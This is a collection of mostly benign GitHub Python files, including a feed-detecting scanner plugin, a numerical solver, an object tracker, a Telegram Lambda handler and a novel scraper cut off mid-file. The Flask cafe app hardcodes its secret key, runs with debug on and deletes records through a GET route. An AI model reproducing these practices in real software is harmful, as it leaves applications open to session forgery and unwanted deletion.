+{"seq_id":"42564288474","text":"import core.controllers.outputManager as om\n\n# options\nfrom core.data.options.option import option\nfrom core.data.options.optionList import optionList\n\nfrom core.controllers.basePlugin.baseGrepPlugin import baseGrepPlugin\nfrom core.data.bloomfilter.bloomfilter import scalable_bloomfilter\n\nimport core.data.kb.knowledgeBase as kb\nimport core.data.kb.info as info\n\nclass feeds(baseGrepPlugin):\n '''\n Grep every page and finds rss, atom, opml feeds.\n \n @author: Andres Riancho ( andres.riancho@gmail.com )\n '''\n \n def __init__(self):\n baseGrepPlugin.__init__(self)\n self._rss_tag_attr = [('rss', 'version', 'RSS'),# \n ('feed', 'version', 'OPML'),# \n ]\n self._already_inspected = scalable_bloomfilter()\n \n def grep(self, request, response):\n '''\n Plugin entry point, find feeds.\n \n @parameter request: The HTTP request object.\n @parameter response: The HTTP response object\n @return: None\n '''\n dom = response.getDOM()\n uri = response.getURI()\n \n # In some strange cases, we fail to normalize the document\n if uri not in self._already_inspected and dom is not None:\n\n self._already_inspected.add(uri)\n\n for tag_name, attr_name, feed_type in self._rss_tag_attr:\n \n # Find all tags with tag_name\n element_list = dom.xpath('//%s' % tag_name)\n \n for element in element_list:\n \n if attr_name in element.attrib:\n \n version = element.attrib[attr_name] \n i = info.info()\n i.setPluginName(self.getName())\n i.setName(feed_type +' feed')\n i.setURI(uri)\n msg = 'The URL: \"' + uri + '\" is a ' + feed_type + ' version \"' \n msg += version + '\" feed.'\n i.setDesc( msg )\n i.setId( response.id )\n i.addToHighlight( feed_type )\n kb.kb.append( self, 'feeds', i )\n \n def setOptions( self, OptionList ):\n pass\n \n def getOptions( self ):\n '''\n @return: A list of option objects for this plugin.\n ''' \n ol = optionList()\n return ol\n\n def end(self):\n '''\n This method is called when the plugin wont be used anymore.\n '''\n self.printUniq( kb.kb.getData( 'feeds', 'feeds' ), 'URL' )\n\n def getPluginDeps( self ):\n '''\n @return: A list with the names of the plugins that should be runned before the\n current one.\n '''\n return []\n \n def getLongDesc( self ):\n '''\n @return: A DETAILED description of the plugin functions and features.\n '''\n return '''\n This plugin greps every page and finds rss, atom, opml feeds on them. This may be usefull for \n determining the feed generator and with that, the framework being used. Also this will be helpfull\n for testing feed injection.\n '''\n","repo_name":"adambaldwin2/test","sub_path":"plugins/grep/feeds.py","file_name":"feeds.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"32965106865","text":"import numpy as np\nfrom prettytable import PrettyTable\nfrom numpy import linalg\n\ntable = PrettyTable()\ndef prettyPrint(name,matrix):\n n = len(matrix)\n table = PrettyTable()\n table.field_names = [f\"{name}{i}\" for i in range(n)]\n table.add_rows(matrix)\n table.add_column(\"\",[f\"{name}{i}\" for i in range(n)])\n print(table)\n \ndef sor(A, b, tol, w):\n\n\tn = len(A)\n\tXk = [0.0]*n\n\tsumation = 0.0\n\tfor i in range(n):\n\t\tif A[i][i] == 0:\n\t\t\texit('Los elementos A[i][i] deben ser diferentes de 0')\n\n\tXk1 = [b[i]/float(A[i][i]) for i in range(n)]\n\tminus = lambda x, y: [x[i]-y[i] for i in range(n)]\n\n\tfor j in range(n):\n\t \tdominancia = 0.0\n\t \tfor i in range(n):\n\t \t\tif j != i:\n\t \t\t\tdominancia += abs(A[i][j])\n\t \tif A[i][i] < dominancia:\n\t \t\texit('La matriz no converge')\n\titera = 0\n\terr = None\n\n\twhile(norm(minus(Xk1,Xk)) / float(norm(Xk1))) > tol:\n\t\trowAux = [itera] + [\"%.5f\"%value for value in Xk] + [err] \n\t\ttable.add_row(rowAux)\n\t\tXk[:] = Xk1[:]\n\t\tfor i in range(n):\n\t\t\tsumation1 = sum(A[i][j]*Xk1[j] for j in range(i))\n\t\t\tsumation2 = sum(A[i][j]*Xk1[j] for j in range(i+1, n))\n\t\t\terr=(norm(minus(Xk1,Xk)) / float(norm(Xk1)))\n\t\t\tXk1[i] = (float(w)/A[i][i])*(b[i] - sumation1 - sumation2) + (1-w)*Xk[i]\n\t\titera += 1\n\n\treturn Xk1\n\n\ndef norm(x):\n return linalg.norm(x) #norm2\n\n\na = [[4,-1,0,3],[1,15.5,3,8],[0,-1.3,-4,1.1],[14,5,-2,30]]\nb=[1,1,1,1]\ntol=1e-7\nw=0.7\nn = len(a)\n\nx = sor(a,b,tol,w)\ntable.field_names = [\"Iteracion\"] + [f\"x{i}\" for i in range(n)] + [\"Error\"]\nprint(table)\n\n \nD = np.diag(np.diag(a))\nL = np.tril(a,-1)\nU = np.triu(a,1)\n\n\nTmatrix = np.dot(linalg.inv(D - (w*L)),((1-w)*D)+(w*U))\n\n#print(\"T Matrix:\")\n#prettyPrint(\"T\",Tmatrix)\n \nvalor1 = np.linalg.eig(Tmatrix)\nlista = []\nfor i in range(len(valor1)):\n lista.append(abs(valor1[i]))\nvalue = max(lista[0])\n \n#print(\"The spectral radius is: \")\n#print(value)\n \ntable = PrettyTable()\ntable.field_names = [f\"x{i}\" for i in range(n)]\ntable.add_row(x)\nprint(\"\\nX:\")\nprint(table)","repo_name":"ksossa/NumericalAnalysisProject","sub_path":"apis/python/Linear Equations/sor.py","file_name":"sor.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"75146956034","text":"import sys\nsys.path.append('./src/')\nfrom datetime import datetime\nfrom ingestion.ingestion import data_ingestion\nfrom ingestion.dates import select_last_updated\nfrom moto import mock_s3\nimport boto3\nimport pytest\nimport os\nfrom freezegun import freeze_time\n\n\n# Mocking AWS credentials\n@pytest.fixture(scope='module')\ndef aws_credentials():\n\n '''Mocked AWS credentials for moto.'''\n\n os.environ['AWS_ACCESS_KEY_ID'] = 'test'\n os.environ['AWS_SECRET_ACCESS_KEY'] = 'test'\n os.environ['AWS_SECURITY_TOKEN'] = 'test'\n os.environ['AWS_SESSION_TOKEN'] = 'test'\n os.environ['AWS_DEFAULT_REGION'] = 'us-east-1'\n\n@pytest.fixture(scope='module')\ndef s3(aws_credentials):\n with mock_s3():\n yield boto3.client('s3')\n\n@pytest.fixture(scope='module')\ndef bucket(s3):\n s3.create_bucket(\n Bucket='s3-de-ingestion-query-queens-test-bucket'\n )\n\n@freeze_time('20-10-2021 14:10:01')\ndef test_upload_to_s3_function_uploads_files_to_specified_bucket(bucket, s3):\n table_names = ['counterparty', 'currency', 'department', 'design', 'payment', 'transaction', 'staff', 'sales_order', 'address', 'purchase_order', 'payment_type']\n dt = datetime(2012, 1, 14, 12, 00, 1, 000000)\n date_time = select_last_updated(dt)[0]\n data_ingestion()\n response = s3.list_objects_v2(Bucket='s3-de-ingestion-query-queens-test-bucket', Prefix=date_time)\n list_of_files = [item['Key'] for item in response['Contents']]\n for table_name in table_names:\n assert f'2021-10-20/14:10:01/{table_name}.json' in list_of_files\n","repo_name":"rexhao362/de-jan-23-project","sub_path":"test/lambdas/ingestion/utils/test_upload_to_s3.py","file_name":"test_upload_to_s3.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"9570160858","text":"n=int(input())\na=list(map(int,input().strip().split()))\nl=[]\nk=[]\nx=[]\nfor i in range(1,n+1):\n l.append(i)\nfor j in a:\n if j>0 and j in l:\n k.append(j)\nfor i in l:\n if i not in k:\n x.append(i)\nprint(x[0])","repo_name":"Sudheer0581/codemind-python","sub_path":"First_Missing_Positive.py","file_name":"First_Missing_Positive.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"23246505458","text":"# display cafes, add and delete them\n\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField, SelectField\nfrom wtforms.validators import DataRequired, URL\nfrom flask import Flask, render_template, request, jsonify, redirect, url_for\nfrom flask_bootstrap import Bootstrap\nfrom flask_sqlalchemy import SQLAlchemy\nimport random\nfrom flask_ckeditor import CKEditor, CKEditorField\nfrom datetime import date\nfrom flask_migrate import Migrate\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = '8BYkEfBA6O6donzWlSihBXox7C0sKR6b'\nckeditor = CKEditor(app)\nBootstrap(app)\n\n##Connect to Database\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///cafes.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n# migrate = Migrate(app, db)\n\n\n##Cafe TABLE Configuration\nclass Cafe(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(250), unique=True, nullable=False)\n map_url = db.Column(db.String(500), nullable=False)\n # date = db.Column(db.String(250), nullable=False)\n img_url = db.Column(db.String(500), nullable=False)\n location = db.Column(db.String(250), nullable=False)\n seats = db.Column(db.String(250), nullable=False)\n has_toilet = db.Column(db.String, nullable=False)\n has_wifi = db.Column(db.String, nullable=False)\n has_sockets = db.Column(db.String, nullable=False)\n can_take_calls = db.Column(db.String, nullable=False)\n coffee_price = db.Column(db.String(250), nullable=True)\n\n # def to_dict(self):\n # # Method 1.\n # dictionary = {}\n # # Loop through each column in the data record\n # for column in self.__table__.columns:\n # # Create a new dictionary entry;\n # # where the key is the name of the column\n # # and the value is the value of the column\n # dictionary[column.name] = getattr(self, column.name)\n # return dictionary\n\n # Method 2. Altenatively use Dictionary Comprehension to do the same thing.\n # return {column.name: getattr(self, column.name) for column in self.__table__.columns}\nwith app.app_context():\n db.create_all()\nclass CreateCafeForm(FlaskForm):\n name = StringField(\"Cafe Name\", validators=[DataRequired()])\n location = StringField(\"Location\", validators=[DataRequired()])\n map_url = StringField(\"Cafe Location URL\", validators=[DataRequired(), URL()])\n img_url = StringField(\"Blog Image URL\", validators=[DataRequired(), URL()])\n seats = SelectField('Any Seat?', choices=[\"Yes there are\", \"No there are not\"], validators=[DataRequired()])\n has_toilet = SelectField(\"Any toilets?\", choices=[\"Yes there are\", \"No there are not\"], validators=[DataRequired()])\n has_wifi = SelectField(\"Any wifi?\", choices=[\"Yes there is\", \"No there is not\"], validators=[DataRequired()])\n has_sockets = SelectField(\"Any sockets?\", choices=[\"Yes there are\", \"No there are not\"], validators=[DataRequired()])\n can_take_calls = SelectField(\"Can I take calls?\",choices=[\"Yes you can\", \"No you cannot\"], validators=[DataRequired()])\n coffee_price = StringField(\"Coffee Price\", validators=[DataRequired()])\n submit = SubmitField(\"Submit Cafe\")\n\n@app.route(\"/\")\ndef home():\n cafes = Cafe.query.all()\n return render_template(\"index.html\", all_cafes=cafes)\n\n\n@app.route(\"/post/\", methods=[\"GET\", \"POST\"])\ndef show_cafe(cafe_id):\n requested_cafe = Cafe.query.get(cafe_id)\n\n return render_template(\"cafe.html\", cafe=requested_cafe)\n\n\n## HTTP POST - Create Record\n@app.route(\"/add\", methods=[\"GET\", \"POST\"])\ndef post_new_cafe():\n form = CreateCafeForm()\n if form.validate_on_submit():\n new_cafe = Cafe(\n name=form.name.data,\n\n img_url=form.img_url.data,\n map_url=form.map_url.data,\n location=form.location.data,\n seats=form.seats.data,\n has_toilet=form.has_toilet.data,\n has_wifi=form.has_wifi.data,\n has_sockets=form.has_sockets.data,\n can_take_calls=form.can_take_calls.data,\n coffee_price=form.coffee_price.data,\n\n )\n db.session.add(new_cafe)\n db.session.commit()\n return redirect(url_for(\"home\"))\n\n return render_template(\"make-cafe.html\", form=form)\n## HTTP PUT/PATCH - Upf Record\n@app.route(\"/update-price/\", methods=[\"GET\",\"POST\"])\ndef update_data(cafe_id):\n current_cafe = Cafe.query.get(cafe_id)\n edited_cafe = CreateCafeForm(\n name=current_cafe.name,\n location = current_cafe.location,\n map_url = current_cafe.map_url,\n img_url = current_cafe.img_url,\n seats = current_cafe.seats,\n has_toilet = current_cafe.has_toilet,\n has_wifi = current_cafe.has_wifi,\n has_sockets = current_cafe.has_sockets,\n can_take_calls = current_cafe.can_take_calls,\n coffee_price = current_cafe.coffee_price\n )\n if edited_cafe.validate_on_submit():\n current_cafe.name = edited_cafe.name.data\n current_cafe.location = edited_cafe.location.data\n current_cafe.map_url = edited_cafe.map_url.data\n current_cafe.img_url = edited_cafe.img_url.data\n current_cafe.seats = edited_cafe.seats.data\n current_cafe.has_toilet = edited_cafe.has_toilet.data\n current_cafe.has_wifi = edited_cafe.has_wifi.data\n current_cafe.has_sockets = edited_cafe.has_sockets.data\n current_cafe.can_take_calls = edited_cafe.can_take_calls.data\n current_cafe.coffee_price = edited_cafe.coffee_price.data\n\n db.session.commit()\n return redirect(url_for('show_cafe', cafe_id=current_cafe.id))\n return render_template(\"make-cafe.html\", form=edited_cafe, is_edit=True)\n\n\n## HTTP DELETE - Delete Record\n@app.route(\"/report-closed/\", methods=[\"GET\", \"DELETE\"])\ndef delete_data(cafe_id):\n cafe_delete = Cafe.query.get(cafe_id)\n db.session.delete(cafe_delete)\n db.session.commit()\n return redirect(url_for('home'))\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"paddy960609/cafe-wifi-RESTFUL-api-","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"10385389442","text":"import numpy as np\nimport pandas as pd\n\nimport os\nimport sys\n\n__dir__ = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(__dir__)\nsys.path.append(os.path.abspath(os.path.join(__dir__, '..')))\nfrom kalman_filter import KalmanFilterNew as KalmanFilter\nfrom association import associate_detections_to_trackers\nfrom estimation.speed import TWOLINEs\n\n\ndef onSegment(p, q, r):\n if ( (q[0] <= max(p[0], r[0])) and (q[0] >= min(p[0], r[0])) and \n (q[1] <= max(p[1], r[1])) and (q[1] >= min(p[1], r[1]))):\n return True\n return False\n \ndef orientation(p, q, r):\n # to find the orientation of an ordered triplet (p,q,r)\n # function returns the following values:\n # 0 : Collinear points\n # 1 : Clockwise points\n # 2 : Counterclockwise\n \n # See https://www.geeksforgeeks.org/orientation-3-ordered-points/amp/ \n # for details of below formula. \n \n val = (float(q[1] - p[1]) * (r[0] - q[0])) - (float(q[0] - p[0]) * (r[1] - q[1]))\n if (val > 0):\n \n # Clockwise orientation\n return 1\n elif (val < 0):\n \n # Counterclockwise orientation\n return 2\n else:\n \n # Collinear orientation\n return 0\n \n# The main function that returns true if \n# the line segment 'p1q1' and 'p2q2' intersect.\ndef doIntersect(p1, q1, p2, q2):\n \n # Find the 4 orientations required for \n # the general and special cases\n o1 = orientation(p1, q1, p2)\n o2 = orientation(p1, q1, q2)\n o3 = orientation(p2, q2, p1)\n o4 = orientation(p2, q2, q1)\n \n # General case\n if ((o1 != o2) and (o3 != o4)):\n return True\n \n # Special Cases\n \n # p1 , q1 and p2 are collinear and p2 lies on segment p1q1\n if ((o1 == 0) and onSegment(p1, p2, q1)):\n return True\n \n # p1 , q1 and q2 are collinear and q2 lies on segment p1q1\n if ((o2 == 0) and onSegment(p1, q2, q1)):\n return True\n \n # p2 , q2 and p1 are collinear and p1 lies on segment p2q2\n if ((o3 == 0) and onSegment(p2, p1, q2)):\n return True\n \n # p2 , q2 and q1 are collinear and q1 lies on segment p2q2\n if ((o4 == 0) and onSegment(p2, q1, q2)):\n return True\n \n # If none of the cases\n return False\n\n\ndef convert_bbox_to_z(bbox):\n \"\"\"\n Takes a bounding box in the form [x1,y1,x2,y2] and returns z in the form\n [x,y,s,r] where x,y is the centre of the box and s is the scale/area and r is\n the aspect ratio\n \"\"\"\n w = bbox[2] - bbox[0]\n h = bbox[3] - bbox[1]\n x = bbox[0] + w/2.\n y = bbox[1] + h/2.\n s = w * h # scale is just area\n r = w / float(h+1e-6)\n return np.array([x, y, s, r]).reshape((4, 1))\n\ndef convert_x_to_bbox(x,score=None, class_id = None):\n \"\"\"\n Takes a bounding box in the centre form [x,y,s,r] and returns it in the form\n [x1,y1,x2,y2] where x1,y1 is the top left and x2,y2 is the bottom right\n \"\"\"\n w = np.sqrt(x[2] * x[3])\n h = x[2] / w\n if(score==None) or (class_id == None):\n return np.array([x[0]-w/2.,x[1]-h/2.,x[0]+w/2.,x[1]+h/2.]).reshape((1,4))\n else:\n return np.array([x[0]-w/2.,x[1]-h/2.,x[0]+w/2.,x[1]+h/2.,score, class_id], dtype=object).reshape((1,6))\n\nclass OUTPUT():\n def __init__(self, bbox, conf, class_id, track_id, speed):\n self.bbox = bbox\n self.conf = conf\n self.class_id = class_id\n self.track_id = track_id\n self.speed = speed\n\n\nclass KalmanBoxTracker(object):\n \"\"\"\n This class represents the internal state of individual tracked objects observed as bbox.\n \"\"\"\n count = 0\n def __init__(self,bbox, score, class_id):\n \"\"\"\n Initialises a tracker using initial bounding box.\n \"\"\"\n #define constant velocity model\n self.kf = KalmanFilter(dim_x=7, dim_z=4) \n self.kf.F = np.array([[1,0,0,0,1,0,0],[0,1,0,0,0,1,0],[0,0,1,0,0,0,1],[0,0,0,1,0,0,0], [0,0,0,0,1,0,0],[0,0,0,0,0,1,0],[0,0,0,0,0,0,1]])\n self.kf.H = np.array([[1,0,0,0,0,0,0],[0,1,0,0,0,0,0],[0,0,1,0,0,0,0],[0,0,0,1,0,0,0]])\n\n self.kf.R[2:,2:] *= 10.\n self.kf.P[4:,4:] *= 1000. #give high uncertainty to the unobservable initial velocities\n self.kf.P *= 10.\n self.kf.Q[-1,-1] *= 0.01\n self.kf.Q[4:,4:] *= 0.01\n\n self.kf.x[:4] = convert_bbox_to_z(bbox)\n self.class_id = class_id\n self.conf_score = score\n\n self.time_since_update = 0\n self.id = KalmanBoxTracker.count\n KalmanBoxTracker.count += 1\n self.history = []\n self.hits = 0\n self.hit_streak = 0\n self.age = 0\n\n self.speed = 0\n self.cached_pos = None\n self.cached_lines = []\n self.start_t = 0\n self.counted = False\n\n def update(self,bbox):\n \"\"\"\n Updates the state vector with observed bbox.\n \"\"\"\n self.time_since_update = 0\n self.history = []\n self.hits += 1\n self.hit_streak += 1\n self.kf.update(convert_bbox_to_z(bbox))\n\n def predict(self):\n \"\"\"\n Advances the state vector and returns the predicted bounding box estimate.\n \"\"\"\n if((self.kf.x[6]+self.kf.x[2])<=0):\n self.kf.x[6] *= 0.0\n self.kf.predict()\n self.age += 1\n if(self.time_since_update>0):\n self.hit_streak = 0\n self.time_since_update += 1\n self.history.append(convert_x_to_bbox(self.kf.x, self.conf_score, self.class_id))\n return self.history[-1]\n\n def get_state(self):\n \"\"\"\n Returns the current bounding box estimate.\n \"\"\"\n return convert_x_to_bbox(self.kf.x, self.conf_score, self.class_id)\n\n\n\nclass SORT(object):\n def __init__(self, max_age=1, min_hits=3, iou_threshold=0.1, speedlines=None, countline = None):\n \"\"\"\n Sets key parameters for SORT\n \"\"\"\n self.max_age = max_age\n self.min_hits = min_hits\n self.iou_threshold = iou_threshold\n self.trackers = []\n self.frame_count = 0\n self.model_estimation = TWOLINEs(9,speedlines=speedlines)\n \n self.cars = 0\n self.motors = 0\n self.countline = countline\n\n def update(self, frame_idx, dets=np.empty((0, 6))):\n \"\"\"\n Params:\n dets - a numpy array of detections in the format [[x1,y1,x2,y2,score, class_id],[x1,y1,x2,y2,score, class_id],...]\n Requires: this method must be called once for each frame even with empty detections (use np.empty((0, 6)) for frames without detections).\n Returns the a similar array, where the last column is the object ID.\n NOTE: The number of objects returned may differ from the number of detections provided.\n \"\"\"\n self.frame_count += 1\n # get predicted locations from existing trackers.\n trks = np.zeros((len(self.trackers), 5))\n to_del = []\n ret = []\n for t, trk in enumerate(trks):\n pos = self.trackers[t].predict()[0]\n trk[:] = [pos[0], pos[1], pos[2], pos[3], 0]\n if np.any(pd.isna(pos)):\n to_del.append(t)\n trks = np.ma.compress_rows(np.ma.masked_invalid(trks))\n for t in reversed(to_del):\n self.trackers.pop(t)\n matched, unmatched_dets, unmatched_trks = associate_detections_to_trackers(dets,trks, self.iou_threshold)\n\n # update matched trackers with assigned detections\n for m in matched:\n self.trackers[m[1]].update(dets[m[0], :])\n\n # create and initialise new trackers for unmatched detections\n for i in unmatched_dets:\n trk = KalmanBoxTracker(dets[i,:4], dets[i, 4], dets[i, 5])\n self.trackers.append(trk)\n i = len(self.trackers)\n for trk in reversed(self.trackers):\n d = trk.get_state()[0]\n x1, y1, x2, y2 = d[:4]\n xmean = x1 + (x2 - x1)/2\n ymean = y1 + (y2 - y1)/2\n\n if trk.cached_pos == None:\n trk.cached_pos = [xmean, ymean]\n else:\n nline = [trk.cached_pos, [xmean,y2]]\n \n # if doIntersect(self.countline[0], self.countline[1], nline[0], nline[1]):\n # if not trk.counted:\n # trk.counted = True\n # if trk.class_id == 3:\n # self.cars += 1\n # if trk.class_id == 4:\n # self.motors += 1\n\n # for line in self.model_estimation.speedlines:\n # if doIntersect(line[0], line[1], nline[0], nline[1]):\n # if line not in trk.cached_lines:\n # trk.cached_lines.append(line)\n # if len(trk.cached_lines) > 1:\n # trk.speed = self.model_estimation.estimate_speed(trk, frame_idx, self._tlwh_to_xywh([x1, y1, x2, y2]))\n # trk.start_t = frame_idx\n # trk.start_pos = self._tlwh_to_xywh([x1,y1,x2,y2])\n \n trk.cached_pos = [xmean, ymean]\n if (trk.time_since_update < 1) and (trk.hit_streak >= self.min_hits or self.frame_count <= self.min_hits):\n # output = OUTPUT(d[:4],d[4], d[5], trk.id+1, trk.speed)\n output = OUTPUT(d[:4],d[4], d[5], trk.id+1, 0)\n ret.append(output)\n i -= 1\n # remove dead tracklet\n if(trk.time_since_update > self.max_age):\n self.trackers.pop(i)\n if(len(ret)>0):\n return np.array(ret)\n return np.empty((0,6))\n\n def _tlwh_to_xywh(self, bbox_tlwh):\n x,y,w,h= bbox_tlwh\n x1 = int(x + w/2)\n y1 = int(y + h/2)\n return x1, y1, w, h \n\n","repo_name":"LouisDo2108/MediaEval2022_Medico_Tail_Aware_Sperm_Detection","sub_path":"source_code/code_and_checkpoints/SORT_yolov5/SORT_tracker/sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":8983,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"}
+{"seq_id":"18471368038","text":"import json\nimport os\n\nfrom telegram.ext import Updater\n\n\nBOT_TOKEN = os.environ['BOT_TOKEN']\nCHAT_ID = os.environ['CHAT_ID']\n\ntg = Updater(token=BOT_TOKEN)\n\n\ndef send_message_to_telegram(event: dict, context: dict):\n tg.bot.send_message(CHAT_ID, event['body'])\n return {'body': '', 'statusCode': 200}\n\n\ndef test(event: dict, context: dict):\n return {'body': json.dumps(event), 'statusCode': 200}\n","repo_name":"Vengeros/AWS-test-stufs","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"11782352163","text":"import pyx\nimport numpy as np\n\n\ndef file_table(files):\n table_runner = pyx.text.LatexRunner()\n table_runner.preamble(\"\\\\usepackage{tabularx}\")\n\n file_strings = [\"{} & : & {}\".format(label, filename.replace(\"_\", \"\\\\_\")) for label, filename in files.items()]\n table_string = \"\"\"\n\\\\begin{{tabularx}}{{19cm}}{{l c X}}\n{}\n\\\\end{{tabularx}}\n\"\"\".format(\"\\\\\\\\\\n\".join(file_strings))\n return table_runner.text(0, 0, table_string, [pyx.text.valign.bottom])\n\n\ndef metabolite_table(concentrations, ref_cr, units=\"AU\"):\n table_runner = pyx.text.LatexRunner()\n table_runner.preamble(\"\\\\usepackage{tabularx}\")\n\n if ref_cr <= 0:\n ref_cr = np.inf\n\n metabolite_strings = [\"{} & {} & {:.3f} & {}\\\\\\\\\\n\".format(\n name.replace(\"_\", \"\\\\_\"), value[\"concentration\"], float(value[\"concentration\"]) / ref_cr, value[\"sd\"]) for\n name, value in sorted(concentrations.items())]\n\n table_string = \"\\\\begin{{tabularx}}{{9cm}}{{X r r r}}\\nMetabolite & Conc/{} & /Cr & SD\\%\\\\\\\\\\n\\hline\\n{}\\\\end{{tabularx}}\".format(\n units,\n \"\".join(metabolite_strings))\n\n table_latex = table_runner.text(0, 0, table_string, [pyx.text.valign.top])\n return table_latex\n\n\ndef quality_table(quality_info):\n table_runner = pyx.text.LatexRunner()\n table_runner.preamble(\"\\\\usepackage{tabularx}\")\n # now display the fit quality metrics\n quality_strings = [\"{} & {}\\\\\\\\\\n\".format(\n param, value) for param, value in sorted(quality_info.items())]\n\n quality_table_string = \"\\\\begin{{tabularx}}{{9cm}}{{X r}}\\nFit Parameters&\\\\\\\\\\n\\hline\\n{}\\\\end{{tabularx}}\".format(\n \"\".join(quality_strings))\n\n quality_table_latex = table_runner.text(0, 0, quality_table_string, [pyx.text.valign.top])\n return quality_table_latex\n\n\ndef voxel_properties_table(voxel_properties):\n table_runner = pyx.text.LatexRunner()\n table_runner.preamble(\"\\\\usepackage{tabularx}\")\n\n property_string = \"\"\"\n Voxel volume / mm$^3$ & {volume}\\\\\\\\\n Grey matter & {gm:.1%}\\\\%\\\\\\\\\n White matter & {wm:.1%}\\\\%\\\\\\\\\n CSF & {csf:.1%}\\\\%\\\\\\\\\n Water Conc. & {water_conc}\\\\\\\\\n Water Att. & {water_att:.3f}\\\\\\\\\n \"\"\".format(**voxel_properties).replace(\"%\", \"\\%\")\n\n property_table_string = \"\\\\begin{{tabularx}}{{9cm}}{{X r}}\\nVoxel Properties&\\\\\\\\\\n\\hline\\n{}\\\\end{{tabularx}}\".format(\n \"\".join(property_string))\n\n property_table_latex = table_runner.text(0, 0, property_table_string, [pyx.text.valign.top])\n return property_table_latex\n","repo_name":"bennyrowland/cubric_mrs","sub_path":"cubric_mrs/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"38216670258","text":"from bs4 import BeautifulSoup\r\nfrom urllib.request import Request, urlopen\r\nfrom natsort import natsorted\r\nfrom pathlib import Path\r\nfrom docx import Document\r\nfrom docx.shared import Pt\r\nimport threading, codecs, requests, os, shutil, re\r\nfrom multiprocessing.dummy import Pool as ThreadPool\r\ncookies = {\r\n\t'over18': 'yes',\r\n}\r\nheaders = {\r\n\t'Connection': 'keep-alive',\r\n\t'sec-ch-ua': '^\\\\^Google',\r\n\t'sec-ch-ua-mobile': '?0',\r\n\t'Upgrade-Insecure-Requests': '1',\r\n\t'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',\r\n\t'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\r\n\t'Sec-Fetch-Site': 'same-site',\r\n\t'Sec-Fetch-Mode': 'navigate',\r\n\t'Sec-Fetch-User': '?1',\r\n\t'Sec-Fetch-Dest': 'document',\r\n\t'Referer': 'https://nl.syosetu.com/',\r\n\t'Accept-Language': 'en-US,en;q=0.9',\r\n}\r\n\r\nclass Novel:\r\n\tdef __init__(self, status, code, title):\r\n\t\tself.status = status\r\n\t\tself.code = code\r\n\t\ttitle = re.sub(r'[<>:\\\"/\\\\\\|\\?\\*]',r'', title)\r\n\t\tself.title = title.encode(\"ascii\", \"ignore\").decode()\r\n\tdef __str__(self):\r\n\t\tif self.status == \"Null\":\r\n\t\t\treturn f\"{self.code} {self.title}\"\r\n\t\telse:\r\n\t\t\treturn f\"{self.status} {self.code} {self.title}\"\r\n\r\ndef countLine():\r\n\treturn len('------------------------------\\n')\r\n\r\ndef writeLine(file):\r\n\tfile.write('------------------------------\\n')\r\n\treturn len('------------------------------\\n')\r\n\r\ndef updateLibrary(novels):\r\n\tlibrary = open('library.txt', 'w')\r\n\tprint(\"To Read\", file=library)\r\n\tfor novel in novels:\r\n\t\tif novel.status == \"Null\":\r\n\t\t\tprint(novel, file=library)\r\n\tprint(\"\\nReading\", file=library)\r\n\tfor novel in novels:\r\n\t\tif novel.status != \"Null\":\r\n\t\t\tprint(novel, file=library)\r\n\r\ndef truncate(data):\r\n\treturn (data[:50] + '..') if len(data) > 50 else data\r\n\r\ndef writeTitleAuthor(soup, file):\r\n\tcount = 0\r\n\ttitle = soup.find_all('p', class_=\"novel_title\")[0].get_text().strip()\r\n\tauthor = soup.find_all('div', class_=\"novel_writername\")[0].get_text().split(':')[1].strip()\r\n\tfile.write(f'タイトル: {title}\\n')\r\n\tfile.write(f'作者: {author}\\n')\r\n\treturn len(f'タイトル: {title}\\n') + len(f'作者: {author}\\n')\r\n\r\ndef writeChapterTitleAndProgress(soup, file):\r\n\tsection = soup.find(['p'], class_=[\"chapter_title\"])\r\n\ttitle = soup.find(['p'], class_=[\"novel_subtitle\"])\r\n\tprogress = soup.find(['div'], id=[\"novel_no\"])\r\n\tcount = 0\r\n\tif section:\r\n\t\tcount += len(f\"セクション:{section.get_text().strip()}\")\r\n\t\tprint(f\"セクション:{section.get_text().strip()}\", file=file)\r\n\tprint(f\"章題:{title.get_text().strip()}\", file=file)\r\n\tprint(f\"章番号:{progress.get_text().strip()}\", file=file)\r\n\treturn count + len(f\"章題:{title.get_text().strip()}\") + len(f\"章番号:{progress.get_text().strip()}\")\r\n\r\ndef writeBody(soup, file):\r\n\tchapterP = soup.find(id='novel_p')\r\n\tcount = 0\r\n\tif chapterP:\r\n\t\tfile.write(f'{chapterP.get_text()}\\n')\r\n\t\tcount += len(f'{chapterP.get_text()}\\n')\r\n\t\tcount += writeLine(file)\r\n\tchapterHonbun = soup.find(id='novel_honbun')\r\n\thonbunParagraphs = chapterHonbun.select('p')\r\n\tfor paragraph in 